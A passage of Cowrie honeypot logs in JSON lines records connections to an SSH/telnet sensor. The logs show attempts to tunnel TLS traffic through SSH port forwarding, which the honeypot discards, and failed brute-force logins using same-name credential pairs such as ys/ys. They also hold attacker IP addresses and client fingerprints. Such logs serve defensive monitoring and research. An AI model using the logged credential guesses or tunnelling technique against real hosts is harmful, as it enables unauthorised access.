\\r\\xb8\\x05\\xa2\\xd0\\xeb\\xe2\\x8a\\x8cw\\xb6\\xea\\xa4R\\xfb~\\xb5?\\x86\\x06\\xbb0\\x10\\r\\xcfk\\xa42\\x86\\xd2p\\x00\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\x1a\\x1a\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\x8a\\x8a\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:47:16.221859Z","src_ip":"173.208.188.210","session":"63dc363fc545","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"172.67.133.8","dst_port":443,"ja4":"t12d1515h2_8daaf6152771_5563d4852cd1","message":"JA4 fingerprint for forwarded TLS to 172.67.133.8:443: t12d1515h2_8daaf6152771_5563d4852cd1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:47:16.227671Z","src_ip":"173.208.188.210","session":"63dc363fc545","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"172.67.133.8","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03b\\x96\\x8c\\xc4\\xb1\\x0e\"\\x93\\xe3\\x90\\'\\x82\\'\\xfb5S\\xc4g\\xd54\\x88O\\xbc?\\xa8\\x87\\xde=\\xf7\\x11\\xa7\\xfc \\xdfX9\\xe7\\x12U\\xdbEf\\xa6\\xed\\x16\\x92\\x7f\\xb9T\\x83\\xf8\\\\\\x1f\\xd0\\xc3\\xb2E\\x06\\x01*\\x99\\xeb\\x0cE\\xfc\\x00 \\xea\\xea\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93\\xba\\xba\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\xea\\xea\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\xea\\xea\\x00\\x01\\x00\\x00\\x1d\\x00 \\x11z\\x16\\x85 \\x93Q\\xf1\\xea\\x86\\xf8\\xfeK\\xe0\\xd3v\\xefZ.\\x150g\\xf8\\x96c\\xebf] \\xeb\\xd2\\'\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\x1a\\x1a\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\xda\\xda\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":2,"message":"discarded direct-tcp forward request 2 to 172.67.133.8:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03b\\x96\\x8c\\xc4\\xb1\\x0e\"\\x93\\xe3\\x90\\'\\x82\\'\\xfb5S\\xc4g\\xd54\\x88O\\xbc?\\xa8\\x87\\xde=\\xf7\\x11\\xa7\\xfc \\xdfX9\\xe7\\x12U\\xdbEf\\xa6\\xed\\x16\\x92\\x7f\\xb9T\\x83\\xf8\\\\\\x1f\\xd0\\xc3\\xb2E\\x06\\x01*\\x99\\xeb\\x0cE\\xfc\\x00 \\xea\\xea\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93\\xba\\xba\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\xea\\xea\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\xea\\xea\\x00\\x01\\x00\\x00\\x1d\\x00 \\x11z\\x16\\x85 \\x93Q\\xf1\\xea\\x86\\xf8\\xfeK\\xe0\\xd3v\\xefZ.\\x150g\\xf8\\x96c\\xebf] \\xeb\\xd2\\'\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\x1a\\x1a\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\xda\\xda\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:47:16.230249Z","src_ip":"173.208.188.210","session":"63dc363fc545","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"172.67.133.8","dst_port":443,"src_ip":"173.208.188.210","src_port":0,"message":"direct-tcp connection request to 172.67.133.8:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:47:16.266976Z","session":"63dc363fc545","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"172.67.133.8","dst_port":443,"ja4":"t12d1615h2_46e7e9700bed_cadd4ee51f0b","message":"JA4 fingerprint for forwarded TLS to 172.67.133.8:443: t12d1615h2_46e7e9700bed_cadd4ee51f0b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:47:16.318637Z","src_ip":"173.208.188.210","session":"63dc363fc545","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"172.67.133.8","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\x85\\xdd2\\xc5\\n^?(L\\xea\\xfbr\\xd0\\x04LD[)\\xf68\\xf6\\x8d\\xbb@\\xa4\\n\\xc2~ct\\xa5J BZ\\xf6D\\xaeK\\xa2\\x0cr\\x94\\xaew\\xc1\\x1d\\xdb\\xc5\\x05b\\xbehd\\x8a\\xf5;\\xfa\\xe6\\xa9m\\x15\\x9ao\\xaa\\x00\"**\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91\\n\\n\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\x9a\\x9a\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\x9a\\x9a\\x00\\x01\\x00\\x00\\x1d\\x00 \\x0c\\xf4x\\x83\\xb9\\xe6GZ\\xfbPn5\\x98\\xf3\\x8f\\x19\\x9bp\\xbe\\x93\\xda\\xdf\\xbe*\\xfd\\x80\\xfd.\\xad\\x07t\\x00\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\nzz\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\xba\\xba\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":4,"message":"discarded direct-tcp forward request 4 to 172.67.133.8:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\x85\\xdd2\\xc5\\n^?(L\\xea\\xfbr\\xd0\\x04LD[)\\xf68\\xf6\\x8d\\xbb@\\xa4\\n\\xc2~ct\\xa5J BZ\\xf6D\\xaeK\\xa2\\x0cr\\x94\\xaew\\xc1\\x1d\\xdb\\xc5\\x05b\\xbehd\\x8a\\xf5;\\xfa\\xe6\\xa9m\\x15\\x9ao\\xaa\\x00\"**\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91\\n\\n\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\x9a\\x9a\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\x9a\\x9a\\x00\\x01\\x00\\x00\\x1d\\x00 \\x0c\\xf4x\\x83\\xb9\\xe6GZ\\xfbPn5\\x98\\xf3\\x8f\\x19\\x9bp\\xbe\\x93\\xda\\xdf\\xbe*\\xfd\\x80\\xfd.\\xad\\x07t\\x00\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\nzz\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\xba\\xba\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:47:16.322030Z","src_ip":"173.208.188.210","session":"63dc363fc545","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"150.136.214.177","src_port":58684,"dst_ip":"10.17.0.5","dst_port":22,"session":"fe4f751fe656","protocol":"ssh","message":"New connection: 150.136.214.177:58684 (10.17.0.5:22) [session: fe4f751fe656]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:47:16.344109Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:47:16.348924Z","src_ip":"150.136.214.177","session":"fe4f751fe656","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"671ac49b8bd65b9e8ff02a3e690f0fd3","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-512,hmac-sha2-256;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-512","hmac-sha2-256"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 671ac49b8bd65b9e8ff02a3e690f0fd3","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:47:16.374978Z","src_ip":"150.136.214.177","session":"fe4f751fe656","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ys","password":"ys","message":"login attempt [ys/ys] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:47:16.513446Z","src_ip":"150.136.214.177","session":"fe4f751fe656","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":55202,"dst_ip":"159.203.135.109","dst_port":23,"session":"e9b2480cd704","protocol":"telnet","message":"New connection: 128.199.8.54:55202 (159.203.135.109:23) [session: e9b2480cd704]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:47:17.461129Z"}
{"eventid":"cowrie.session.closed","duration":"1.2","message":"Connection lost after 1.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:47:17.545119Z","src_ip":"150.136.214.177","session":"fe4f751fe656","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.195","src_port":11720,"dst_ip":"10.17.0.5","dst_port":22,"session":"50c941bd5edf","protocol":"ssh","message":"New connection: 45.153.34.195:11720 (10.17.0.5:22) [session: 50c941bd5edf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:47:18.103508Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:47:18.110256Z","src_ip":"45.153.34.195","session":"50c941bd5edf","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:47:18.215906Z","src_ip":"45.153.34.195","session":"50c941bd5edf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"19.5","message":"Connection lost after 19.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:47:18.392194Z","src_ip":"173.208.188.210","session":"63dc363fc545","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"vss","password":"vss","message":"login attempt [vss/vss] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:47:18.506965Z","src_ip":"45.153.34.195","session":"50c941bd5edf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:47:19.591250Z","src_ip":"45.153.34.195","session":"50c941bd5edf","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.195","src_port":11732,"dst_ip":"10.17.0.5","dst_port":22,"session":"25adb2321401","protocol":"ssh","message":"New connection: 45.153.34.195:11732 (10.17.0.5:22) [session: 25adb2321401]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:47:20.935764Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:47:20.947259Z","src_ip":"45.153.34.195","session":"25adb2321401","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:47:21.051680Z","src_ip":"45.153.34.195","session":"25adb2321401","protocol":"ssh"}
